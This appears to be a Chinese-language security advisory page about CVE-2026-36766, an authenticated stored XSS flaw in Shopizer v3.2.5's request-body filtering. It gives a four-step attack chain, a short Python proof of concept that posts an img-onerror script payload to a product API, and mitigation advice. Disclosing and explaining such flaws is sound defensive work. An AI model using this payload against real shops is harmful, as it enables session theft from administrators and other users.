IPBUF安全漏洞报告
English
CVE-2026-36766 CVSS 5.4 中危

CVE-2026-36766 Shopizer认证型XSS漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-36766
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Shopizer

相关标签

XSSShopizerCross-Site ScriptingCVE-2026-36766Authenticated

漏洞概述

Shopizer v3.2.5 版本中的 XssHttpServletRequestWrapper 类存在多个已认证的跨站脚本(XSS)漏洞。攻击者可利用 getInputStream() 或 getReader() 函数注入恶意载荷,执行任意 Web 脚本。

技术细节

该漏洞存在于 Shopizer 的 XssHttpServletRequestWrapper 过滤器类中。虽然该类旨在防止 XSS,但它未能正确处理通过 HTTP 请求体(Body)传递的数据,特别是在处理 getInputStream() 和 getReader() 方法时。通常这些方法用于读取 JSON 或原始 POST 数据。攻击者利用低权限账户登录后,向受影响的接口发送包含恶意 JavaScript 代码的 JSON 数据。由于过滤器未对输入流中的内容进行转义,恶意代码被存储在服务器端。当管理员或其他用户查看该数据时,脚本将在其浏览器上下文中执行,可能导致窃取会话 Cookie 或进行恶意操作。

攻击链分析

STEP 1
1. 获取权限
攻击者注册或获取一个低权限的合法账户。
STEP 2
2. 识别入口
分析应用,找到使用 getInputStream() 或 getReader() 读取用户输入的 API 接口或表单提交点。
STEP 3
3. 注入载荷
构造包含恶意 JavaScript 代码的 JSON 或原始数据包,发送至目标接口。
STEP 4
4. 触发漏洞
管理员或高权限用户访问包含恶意数据的页面,浏览器解析并执行恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target = "http://vulnerable-shopizer.com/api/product" # Authenticated cookie cookies = {'JSESSIONID': 'valid_session_id'} # Malicious Payload sent via JSON body (read by getInputStream/getReader) payload_json = { "name": "Product Name", "description": "<img src=x onerror=alert('CVE-2026-36766')>" } # Send POST request response = requests.post(target, json=payload_json, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully via InputStream.") else: print("[-] Failed to inject payload.")

影响范围

Shopizer v3.2.5

防御指南

临时缓解措施
在官方补丁发布前,建议管理员限制用户输入格式,并在服务器端对通过 getInputStream 和 getReader 获取的所有数据进行 HTML 实体编码或过滤,同时启用内容安全策略(CSP)以减少脚本执行风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表